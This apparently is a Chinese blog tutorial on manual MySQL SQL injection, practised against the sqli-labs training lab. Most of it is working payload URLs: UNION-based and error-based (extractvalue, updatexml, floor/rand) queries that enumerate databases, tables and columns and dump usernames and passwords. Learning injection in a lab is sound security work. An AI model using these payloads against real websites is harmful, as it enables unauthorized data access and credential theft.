美文网首页
Mysql手工注入

Mysql手工注入

作者: 牙疼吃糖 | 来源:发表于2018-08-21 12:34 被阅读0次

整理一下手工注入笔记,以sqli-labs环境为例。

1.Mysql手工union联合查询注入

输入单引号,页面报错。

http://192.168.68.106/sqli-labs/Less-1/?id=0

根据报错信息显示,这是个字符型的注入,后台的查询应该是select xxx from xxx where id='1'。

下一步,我们用order by 来爆列。(ORDER BY 语句用于对结果集进行排序。)

http://192.168.68.106/sqli-labs/Less-1/?id=1' order by 3--+(注释一般采用--+或者#(%23))

http://192.168.68.106/sqli-labs/Less-1/?id=1' order by 4--+

当order by 为3时,有数据返回,为4时报错,说明有3行数据。

然后,我们来爆数据库名。

Mysql 5.0版本以上,有information_schema这个系统表,它存储着所有的数据库的相关信息。

http://192.168.68.106/sqli-labs/Less-1/?id=0' UNION select 1,database(),3 from information_schema.schemata--+

成功爆出数据库 security

再来爆表名

http://192.168.68.106/sqli-labs/Less-1/?id=0' Union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,1--+

这样我们只能得到1个表名,我们需要借助limit。

Limit子句可以被用于强制 SELECT 语句返回指定的记录数。Limit接受一个或两个数字参数。参数必须是一个整数常量。如果给定两个参数,第一个参数指定第一个返回记录行的偏移量,第二个参数指定返回记录行的最大数目。

http://192.168.68.106/sqli-labs/Less-1/?id=0' Union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 1,1--+

如果表比较多,这样操作太麻烦。我们可以用group_concat函数。

http://192.168.68.106/sqli-labs/Less-1/?id=0' Union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

这样,把所有的表用组的方式查询出来。

爆字段名

http://192.168.68.106/sqli-labs/Less-1/?id=0' Union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

爆值

http://192.168.68.106/sqli-labs/Less-1/?id=0' Union select 1,group_concat(username,0x3a,password),3 from users--+

2.Mysql手工报错型注入

爆表名

http://192.168.68.106/sqli-labs/Less-1/?id=0' and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

爆字段名

http://192.168.68.106/sqli-labs/Less-1/?id=0' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+

报错返回长度有限制,如果有没爆出的字段可以继续爆。

http://192.168.68.106/sqli-labs/Less-1/?id=0' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('id','username')))) --+

爆值

http://192.168.68.106/sqli-labs/Less-1/?id=0' and 1=extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))) --+

http://192.168.68.106/sqli-labs/Less-1/?id=0' and 1=extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','Angelina')))) --+

剩下的数据可以类似爆出。

当然,这只是报错型注入的一种语句。这里在附上几个:

and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)

and 1=updatexml(1,concat(0x7e,(select database())),1)

select exp(~(select * FROM(SELECT USER())a))

select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x

参考:http://www.cnblogs.com/lcamry/category/846064.html

 https://www.cnblogs.com/peterpan0707007/p/7620048.html

相关文章

  • Mysql时间盲注手工注入详解

    此文章建立在已经阅读并掌握了《Mysql 联合查询手工注入详解》和Mysql 布尔型盲注手工注入详解的基础上 练习...

  • mysql手工注入

    mysql数据库结构: SQL层的功能: 判断语法,语句,语义数据库对象授权情况判断,授权失败不继续解析(解析器)...

  • Mysql手工注入

    整理一下手工注入笔记,以sqli-labs环境为例。 1.Mysql手工union联合查询注入 输入单引号,页面报...

  • MySQL手工注入

    搜索php网站 判断是否存在注入漏洞 例如得到网站:http://www.star-reach.com/galle...

  • mysql手工注入

    SQL基础 1.1 什么是sql? SQL(structured query language),即结构化查询语言...

  • MySQL手工注入

    一些手工注入基础(以数字型为例,字符型需要单引号'闭合) 1、oder by num=n 正常num=n+1 错误...

  • web训练sql注入中级练习-墨者学堂

    sql注入实战mysql(进阶版) 看这个是base64编码 手工注入注入不出来。。。 使用sqlmap跑提示使用...

  • mysql手工注入总结

    今天我们来讲一下mysql手工注入的大体内容 给你一段url http://lab1.xseclab.com/sq...

  • Mysql手工注入小结

    前言 实习电话面的时候,问到了sql注入的利用,我扒拉扒拉一大堆,结果脑子一抽,说Mysql注入不支持堆叠注入 我...

  • 2019-11-13

    mysql手工注入 一、SQL注入的理解 将特殊SQL语句添加到查询url后面,以获取非法的数据的操作。 ...

网友评论

      本文标题:Mysql手工注入

      本文链接:https://www.haomeiwen.com/subject/fiptbftx.html